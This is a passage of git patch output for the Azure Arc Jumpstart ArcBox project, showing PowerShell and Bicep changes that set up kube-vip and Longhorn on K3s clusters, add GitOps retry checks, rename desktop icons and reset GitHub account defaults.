$Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $k3sNamespace = "hello-arc" diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 index ecdb1319df..1a2d2416bb 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 @@ -1,5 +1,5 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-K3s" | Where-Object { $_ -ne "" } $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $k3sNamespace = "hello-arc" @@ -24,7 +24,7 @@ kubectx ############################# # Create GitOps config for Hello-Arc RBAC -echo "Creating GitOps config for Hello-Arc RBAC" +Write-Host "Creating GitOps config for Hello-Arc RBAC" az k8s-configuration flux create ` --cluster-name $Env:k3sArcClusterName ` --resource-group $Env:resourceGroup ` From d00752ea2ae310a7695da89310a9a45cd904bf26 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 12 Jun 2024 12:36:39 -0400 Subject: [PATCH 143/456] update icon names --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 8c85b6dafa..51c021ceb4 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -454,7 +454,7 @@ New-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallFo Write-Header "Creating Desktop Icons" # Creating K3s Hello Arc Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" +$shortcutLocation = "$Env:Public\Desktop\Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) $shortcut.TargetPath = "http://$certdns" @@ -463,7 +463,7 @@ $shortcut.WindowStyle = 3 $shortcut.Save() # Creating K3s Bookstore Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\K3s Bookstore.lnk" +$shortcutLocation = "$Env:Public\Desktop\Bookstore.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) $shortcut.TargetPath = "pwsh.exe" From 984145308258c5c4688854fa13f3494e443d791e Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 12 Jun 2024 21:56:29 -0400 Subject: [PATCH 144/456] fix format --- .../artifacts/DevOpsLogonScript.ps1 | 313 +++++++++--------- 1 file changed, 158 insertions(+), 155 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 51c021ceb4..57b170bbd8 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -102,170 +102,173 @@ az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v -foreach ($cluster in $clusters) { - -Write-Header "Configuring kube-vip on K3s cluster" -$Env:KUBECONFIG=$cluster.kubeConfig -kubectx - -$nicName = $cluster.clusterName + "-NIC" -$k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - -# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml -$kubeVipRBAC = @" -apiVersion: v1 -kind: ServiceAccount -metadata: - name: kube-vip - namespace: kube-system ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRole -metadata: - annotations: - rbac.authorization.kubernetes.io/autoupdate: "true" - name: system:kube-vip-role -rules: - - apiGroups: [""] - resources: ["services/status"] - verbs: ["update"] - - apiGroups: [""] - resources: ["services", "endpoints"] - verbs: ["list","get","watch", "update"] - - apiGroups: [""] - resources: ["nodes"] - verbs: ["list","get","watch", "update", "patch"] - - apiGroups: ["coordination.k8s.io"] - resources: ["leases"] - verbs: ["list", "get", "watch", "update", "create"] - - apiGroups: ["discovery.k8s.io"] - resources: ["endpointslices"] - verbs: ["list","get","watch", "update"] ---- -kind: ClusterRoleBinding -apiVersion: rbac.authorization.k8s.io/v1 -metadata: - name: system:kube-vip-binding -roleRef: - apiGroup: rbac.authorization.k8s.io +# foreach ($cluster in $clusters) { + +$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { + $cluster = $_ + + Write-Header "Configuring kube-vip on K3s cluster" + $Env:KUBECONFIG=$cluster.kubeConfig + kubectx + + $nicName = $cluster.clusterName + "-NIC" + $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv + + # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml + $kubeVipRBAC = @" + apiVersion: v1 + kind: ServiceAccount + metadata: + name: kube-vip + namespace: kube-system + --- + apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole - name: system:kube-vip-role -subjects: -- kind: ServiceAccount - name: kube-vip - namespace: kube-system + metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role + rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] + --- + kind: ClusterRoleBinding + apiVersion: rbac.authorization.k8s.io/v1 + metadata: + name: system:kube-vip-binding + roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: system:kube-vip-role + subjects: + - kind: ServiceAccount + name: kube-vip + namespace: kube-system "@ -$kubeVipRBAC | kubectl apply -f - - -# Apply kube-vip DaemonSet -$kubeVipDaemonset = @" -apiVersion: apps/v1 -kind: DaemonSet -metadata: - creationTimestamp: null - labels: - app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - name: kube-vip-ds - namespace: kube-system -spec: - selector: - matchLabels: + $kubeVipRBAC | kubectl apply -f - + + # Apply kube-vip DaemonSet + $kubeVipDaemonset = @" + apiVersion: apps/v1 + kind: DaemonSet + metadata: + creationTimestamp: null + labels: app.kubernetes.io/name: kube-vip-ds - template: - metadata: - creationTimestamp: null - labels: + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system + spec: + selector: + matchLabels: app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - spec: - affinity: - nodeAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - nodeSelectorTerms: - - matchExpressions: - - key: node-role.kubernetes.io/master - operator: Exists - - matchExpressions: - - key: node-role.kubernetes.io/control-plane - operator: Exists - containers: - - args: - - manager - env: - - name: vip_arp - value: "true" - - name: port - value: "6443" - - name: vip_interface - value: eth0 - - name: vip_cidr - value: "32" - - name: dns_mode - value: first - - name: cp_enable - value: "true" - - name: cp_namespace - value: kube-system - - name: svc_enable - value: "true" - - name: svc_leasename - value: plndr-svcs-lock - - name: vip_leaderelection - value: "true" - - name: vip_leasename - value: plndr-cp-lock - - name: vip_leaseduration - value: "5" - - name: vip_renewdeadline - value: "3" - - name: vip_retryperiod - value: "1" - - name: address - value: "$k3sVIP" - - name: prometheus_server - value: :2112 - image: ghcr.io/kube-vip/kube-vip:v0.7.0 - imagePullPolicy: Always - name: kube-vip - resources: {} - securityContext: - capabilities: - add: - - NET_ADMIN - - NET_RAW - hostNetwork: true - serviceAccountName: kube-vip - tolerations: - - effect: NoSchedule - operator: Exists - - effect: NoExecute - operator: Exists - updateStrategy: {} -status: - currentNumberScheduled: 0 - desiredNumberScheduled: 0 - numberMisscheduled: 0 - numberReady: 0 + template: + metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} + status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 "@ -$kubeVipDaemonset | kubectl apply -f - + $kubeVipDaemonset | kubectl apply -f - -# Kube vip cloud controller -kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + # Kube vip cloud controller + kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml -# Set kube-vip range-global for kubernetes services -$serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv -$sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} -$lowestServiceIp = $sortedIps[0] -$highestServiceIp = $sortedIps[-1] + # Set kube-vip range-global for kubernetes services + $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv + $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} + $lowestServiceIp = $sortedIps[0] + $highestServiceIp = $sortedIps[-1] -kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp -Start-Sleep -Seconds 30 + kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp + Start-Sleep -Seconds 30 -Write-Header "Creating longhorn storage on K3scluster" -kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig -Start-Sleep -Seconds 30 -Write-Host "`n" + Write-Header "Creating longhorn storage on K3scluster" + kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig + Start-Sleep -Seconds 30 + Write-Host "`n" } # # Longhorn setup for RWX-capable storage class From ac20698cb90967c49f5267527ddcf224c8b314e3 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 12 Jun 2024 23:43:34 -0400 Subject: [PATCH 145/456] fix format --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 57b170bbd8..e45fc2f83b 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -102,10 +102,7 @@ az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v -# foreach ($cluster in $clusters) { - -$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { - $cluster = $_ +foreach ($cluster in $clusters) { Write-Header "Configuring kube-vip on K3s cluster" $Env:KUBECONFIG=$cluster.kubeConfig @@ -158,6 +155,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { name: kube-vip namespace: kube-system "@ + $kubeVipRBAC | kubectl apply -f - # Apply kube-vip DaemonSet @@ -251,6 +249,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { numberMisscheduled: 0 numberReady: 0 "@ + $kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller From 26e47c0a8bf918ca68025803308830dc4731dd66 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 13 Jun 2024 18:35:11 -0400 Subject: [PATCH 146/456] fix inline kubectl format --- .../artifacts/DevOpsLogonScript.ps1 | 295 ++++++++++-------- 1 file changed, 162 insertions(+), 133 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index e45fc2f83b..5b363a155d 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -111,146 +111,146 @@ foreach ($cluster in $clusters) { $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml - $kubeVipRBAC = @" - apiVersion: v1 - kind: ServiceAccount - metadata: - name: kube-vip - namespace: kube-system - --- - apiVersion: rbac.authorization.k8s.io/v1 +# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml +$kubeVipRBAC = @" +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kube-vip + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role +rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] +--- +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: system:kube-vip-binding +roleRef: + apiGroup: rbac.authorization.k8s.io kind: ClusterRole - metadata: - annotations: - rbac.authorization.kubernetes.io/autoupdate: "true" - name: system:kube-vip-role - rules: - - apiGroups: [""] - resources: ["services/status"] - verbs: ["update"] - - apiGroups: [""] - resources: ["services", "endpoints"] - verbs: ["list","get","watch", "update"] - - apiGroups: [""] - resources: ["nodes"] - verbs: ["list","get","watch", "update", "patch"] - - apiGroups: ["coordination.k8s.io"] - resources: ["leases"] - verbs: ["list", "get", "watch", "update", "create"] - - apiGroups: ["discovery.k8s.io"] - resources: ["endpointslices"] - verbs: ["list","get","watch", "update"] - --- - kind: ClusterRoleBinding - apiVersion: rbac.authorization.k8s.io/v1 - metadata: - name: system:kube-vip-binding - roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: system:kube-vip-role - subjects: - - kind: ServiceAccount - name: kube-vip - namespace: kube-system + name: system:kube-vip-role +subjects: +- kind: ServiceAccount + name: kube-vip + namespace: kube-system "@ - $kubeVipRBAC | kubectl apply -f - - - # Apply kube-vip DaemonSet - $kubeVipDaemonset = @" - apiVersion: apps/v1 - kind: DaemonSet - metadata: - creationTimestamp: null - labels: +$kubeVipRBAC | kubectl apply -f - + +# Apply kube-vip DaemonSet +$kubeVipDaemonset = @" +apiVersion: apps/v1 +kind: DaemonSet +metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system +spec: + selector: + matchLabels: app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - name: kube-vip-ds - namespace: kube-system - spec: - selector: - matchLabels: + template: + metadata: + creationTimestamp: null + labels: app.kubernetes.io/name: kube-vip-ds - template: - metadata: - creationTimestamp: null - labels: - app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - spec: - affinity: - nodeAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - nodeSelectorTerms: - - matchExpressions: - - key: node-role.kubernetes.io/master - operator: Exists - - matchExpressions: - - key: node-role.kubernetes.io/control-plane - operator: Exists - containers: - - args: - - manager - env: - - name: vip_arp - value: "true" - - name: port - value: "6443" - - name: vip_interface - value: eth0 - - name: vip_cidr - value: "32" - - name: dns_mode - value: first - - name: cp_enable - value: "true" - - name: cp_namespace - value: kube-system - - name: svc_enable - value: "true" - - name: svc_leasename - value: plndr-svcs-lock - - name: vip_leaderelection - value: "true" - - name: vip_leasename - value: plndr-cp-lock - - name: vip_leaseduration - value: "5" - - name: vip_renewdeadline - value: "3" - - name: vip_retryperiod - value: "1" - - name: address - value: "$k3sVIP" - - name: prometheus_server - value: :2112 - image: ghcr.io/kube-vip/kube-vip:v0.7.0 - imagePullPolicy: Always - name: kube-vip - resources: {} - securityContext: - capabilities: - add: - - NET_ADMIN - - NET_RAW - hostNetwork: true - serviceAccountName: kube-vip - tolerations: - - effect: NoSchedule - operator: Exists - - effect: NoExecute - operator: Exists - updateStrategy: {} - status: - currentNumberScheduled: 0 - desiredNumberScheduled: 0 - numberMisscheduled: 0 - numberReady: 0 + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} +status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 "@ - $kubeVipDaemonset | kubectl apply -f - +$kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml @@ -373,6 +373,35 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml +$configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) + +foreach ($configName in $configs) { + Write-Host "Checking GitOps configuration $configName on $Env:k3sArcDataClusterName" + $retryCount = 0 + $maxRetries = 5 + do { + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Compliant") { + Write-Host "GitOps configuration $configName is ready on $Env:k3sArcDataClusterName" + } + else { + if ($configStatus.ComplianceState -ne "Non-compliant") { + Start-Sleep -Seconds 60 + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + Start-Sleep -Seconds 60 + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + $retryCount++ + } + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcDataClusterName. Exiting..." + break + } + } + } until ($configStatus.ComplianceState -eq "Compliant") +} # ################################################ # # - Install Key Vault Extension / Create Ingress # ################################################ From 7995479064833d64a02b5107d59ef852d4605b71 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 13 Jun 2024 20:41:22 -0400 Subject: [PATCH 147/456] add retry for k3s gitops --- .../artifacts/gitops_scripts/K3sGitOps.ps1 | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 3da9a15048..8d29d8cf63 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -58,6 +58,36 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml +$configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) + +foreach ($configName in $configs) { + Write-Host "Checking GitOps configuration $configName on $Env:k3sArcClusterName" + $retryCount = 0 + $maxRetries = 5 + do { + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Compliant") { + Write-Host "GitOps configuration $configName is ready on $Env:k3sArcClusterName" + } + else { + if ($configStatus.ComplianceState -ne "Non-compliant") { + Start-Sleep -Seconds 60 + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + Start-Sleep -Seconds 60 + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + $retryCount++ + } + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcClusterName. Exiting..." + break + } + } + } until ($configStatus.ComplianceState -eq "Compliant") +} + # ################################################ # # - Install Key Vault Extension / Create Ingress # ################################################ From 5cf9318d8ca94c8755ee45a3c6538596348e2de2 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 14 Jun 2024 00:06:54 -0400 Subject: [PATCH 148/456] update github account --- azure_jumpstart_arcbox/bicep/main.bicep | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 3efc686c0f..abee87be15 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -40,7 +40,7 @@ param logAnalyticsWorkspaceName string param flavor string = 'Full' @description('Target GitHub account') -param githubAccount string = 'zaidmohd' +param githubAccount string = 'microsoft' @description('Target GitHub branch') param githubBranch string = 'arcbox_3.0' @@ -49,7 +49,7 @@ param githubBranch string = 'arcbox_3.0' param deployBastion bool = false @description('User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps') -param githubUser string = 'zaidmohd' +param githubUser string = 'microsoft' @description('Active directory domain services domain name') param addsDomainName string = 'jumpstart.local' From fdb53661e8acb3b661f59185e511570416a695db Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 14 Jun 2024 04:07:59 +0000 Subject: [PATCH 149/456] Arcbox 3.0 - Replace CAPI (#2581) * replace capi * fix az login * update to managed identity * enable system assigned identity * remove debugging * comment resource provider, this will be part of pre-req * update ip address * remove kv extension * add kubevip for service ip * fix kube config * fix nic name * fix nic name * fix kube config * Add role assignment dependency * add kubeconfig * update https * remove kube vip rbac url * remove spn details * update k3s scripts * k3s reset script changes * Fix resource name * update icon names * fix format * fix format * fix inline kubectl format * add retry for k3s gitops * update github account --- .../artifacts/BookStoreLaunch.ps1 | 2 +- .../artifacts/Bootstrap.ps1 | 10 +- .../artifacts/DataOpsLogonScript.ps1 | 2 +- .../artifacts/DevOpsLogonScript.ps1 | 376 +- .../artifacts/devops_ingress/bookbuyer.yaml | 57 +- .../artifacts/devops_ingress/bookstore.yaml | 57 +- .../artifacts/devops_ingress/hello-arc.yaml | 57 +- .../artifacts/gitops_scripts/K3sGitOps.ps1 | 233 +- .../artifacts/gitops_scripts/K3sRBAC.ps1 | 11 +- .../gitops_scripts/ResetBookstore.ps1 | 29 +- .../artifacts/installK3s.sh | 245 +- .../artifacts/longhorn.yaml | 4571 +++++++++++++++++ .../bicep/clientVm/clientVm.bicep | 7 +- .../bicep/kubernetes/aks.bicep | 2 +- .../bicep/kubernetes/ubuntuRancher.bicep | 83 +- .../bicep/kubernetes/ubuntuRancherNodes.bicep | 164 + azure_jumpstart_arcbox/bicep/main.bicep | 51 +- 17 files changed, 5452 insertions(+), 505 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/longhorn.yaml create mode 100644 azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep diff --git a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 index 59edcc6b9b..6354717a4c 100644 --- a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 +++ b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 @@ -1,2 +1,2 @@ -Start-Process -FilePath msedge -ArgumentList '--new-window https://arcbox.devops.com/bookbuyer https://arcbox.devops.com/bookstore https://arcbox.devops.com/bookstore-v2' +Start-Process -FilePath msedge -ArgumentList '--new-window http://arcbox.devops.com/bookbuyer http://arcbox.devops.com/bookstore http://arcbox.devops.com/bookstore-v2' [Environment]::Exit(1) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index f4466a3811..90266d939a 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -21,7 +21,7 @@ param ( [string]$POSTGRES_SERVICE_TYPE, [string]$stagingStorageAccountName, [string]$workspaceName, - [string]$capiArcDataClusterName, + [string]$k3sArcDataClusterName, [string]$k3sArcClusterName, [string]$aksArcClusterName, [string]$aksdrArcClusterName, @@ -31,7 +31,8 @@ param ( [string]$rdpPort, [string]$sshPort, [string]$vmAutologon, - [string]$addsDomainName + [string]$addsDomainName, + [string]$customLocationRPOID ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) @@ -51,7 +52,7 @@ param ( [System.Environment]::SetEnvironmentVariable('POSTGRES_SERVICE_TYPE', $POSTGRES_SERVICE_TYPE, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('stagingStorageAccountName', $stagingStorageAccountName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('workspaceName', $workspaceName, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('capiArcDataClusterName', $capiArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('k3sArcDataClusterName', $k3sArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('k3sArcClusterName', $k3sArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('githubUser', $githubUser, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl, [System.EnvironmentVariableTarget]::Machine) @@ -60,6 +61,7 @@ param ( [System.Environment]::SetEnvironmentVariable('addsDomainName', $addsDomainName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksArcClusterName', $aksArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksdrArcClusterName', $aksdrArcClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('customLocationRPOID', $customLocationRPOID, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ArcBoxDir', 